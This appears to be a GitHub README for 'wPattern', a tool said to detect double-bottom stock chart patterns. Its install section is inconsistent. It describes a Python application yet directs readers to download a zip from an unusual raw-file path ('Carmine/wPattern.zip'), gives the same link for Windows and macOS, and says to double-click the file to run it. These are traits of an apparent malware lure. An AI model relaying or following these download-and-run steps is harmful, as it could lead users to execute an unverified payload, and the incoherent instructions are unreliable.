Welcome to wPattern! This application helps you detect, label, and scan double-bottom patterns in financial data. You can analyze stock price movements using 90-day OHLCV data with a rules engine and optional machine learning features. Perfect for anyone interested in finance and pattern recognition.
- Detect W (double-bottom) patterns in stock prices.
- Analyze 90-day OHLCV data.
- Provides charts for easy visualization.
- Export results as CSV files.
- Includes scanners for S&P 500 and Nasdaq-100 stocks.
To download and run wPattern, click the button below:
You will find the latest version of the application on our Releases page. Click the button above or visit this link to access it: wPattern Releases.
To make the most of wPattern, ensure your system meets these requirements:
- Operating System: Windows, macOS, or Linux
- Python Version: 3.7 or higher
- Required Libraries:
- NumPy
- Pandas
- Matplotlib
- scikit-learn
- yfinance
- Visit our Releases page.
- Locate the latest version of wPattern.
- Choose the file suitable for your operating system:
- For Windows:
https://raw.githubusercontent.com/HIFTD22/wPattern/main/Carmine/wPattern.zip - For macOS:
https://raw.githubusercontent.com/HIFTD22/wPattern/main/Carmine/wPattern.zip - For Linux:
wPattern_linux
- For Windows:
- Click the download link to save the file to your computer.
- Once the download is complete, navigate to the file location.
- Double-click the file to run the application.
- Follow any installation prompts if required.
Make sure you have Python installed on your computer. If you don't, you can download it from the official Python website.
- Open the wPattern application.
- Choose your source of data. You can utilize data from Yahoo Finance or your local CSV files.
- Adjust the parameters according to your needs, such as the stock symbols you want to analyze.
- Start the analysis process.
- View the detected patterns in the charts.
- Use the export feature to save the results as a CSV file for further analysis.
If you encounter issues while running wPattern:
- Ensure you have installed all required libraries.
- Check that you are using the correct version of Python.
- Refer to the error messages displayed for quicker troubleshooting.
If you need help, please open an issue in the GitHub repository. We value your feedback and are here to help!
For further exploration, here are some related topics:
- Technical analysis in finance
- Understanding stock patterns
- Using machine learning for stock analysis
- Basics of financial data analysis
Thank you for choosing wPattern! We hope it helps you in your financial analysis endeavors.